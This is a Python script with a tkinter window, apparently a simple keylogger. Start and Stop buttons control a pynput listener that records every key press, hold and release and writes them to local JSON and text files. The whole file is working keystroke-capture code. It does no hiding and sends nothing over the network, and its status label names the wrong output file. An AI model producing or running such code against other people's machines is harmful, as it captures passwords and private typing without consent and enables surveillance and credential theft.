import tkinter as tk

from tkinter import \*

from pynput import keyboard

import json

keys\_used = []

flag = False

keys = ""

def generate\_text\_log(key):

with open('key\_log.txt', "w+") as keys:

keys.write(key)

def generate\_json\_file(keys\_used):

with open('key\_log.json', '+wb') as key\_log:

key\_list\_bytes = json.dumps(keys\_used).encode()

key\_log.write(key\_list\_bytes)

def on\_press(key):

global flag, keys\_used, keys

if flag == False:

keys\_used.append(

{'Pressed': f'{key}'}

)

flag = True

if flag == True:

keys\_used.append(

{'Held': f'{key}'}

)

generate\_json\_file(keys\_used)

def on\_release(key):

global flag, keys\_used, keys

keys\_used.append(

{'Released': f'{key}'}

)

if flag == True:

flag = False

generate\_json\_file(keys\_used)

keys = keys + str(key)

generate\_text\_log(str(keys))

def start\_keylogger():

global listener

listener = keyboard.Listener(on\_press=on\_press, on\_release=on\_release)

listener.start()

label.config(text="[+] Keylogger is running!\n[!] Saving the keys in 'keylogger.txt'")

start\_button.config(state='disabled')

stop\_button.config(state='normal')

def stop\_keylogger():

global listener

listener.stop()

label.config(text="Keylogger stopped.")

start\_button.config(state='normal')

stop\_button.config(state='disabled')

root = Tk()

root.title("Keylogger")

label = Label(root, text='Click "Start" to begin keylogging.')

label.config(anchor=CENTER)

label.pack()

start\_button = Button(root, text="Start", command=start\_keylogger)

start\_button.pack(side=LEFT)

stop\_button = Button(root, text="Stop", command=stop\_keylogger, state='disabled')

stop\_button.pack(side=RIGHT)

root.geometry("250x250")

root.mainloop()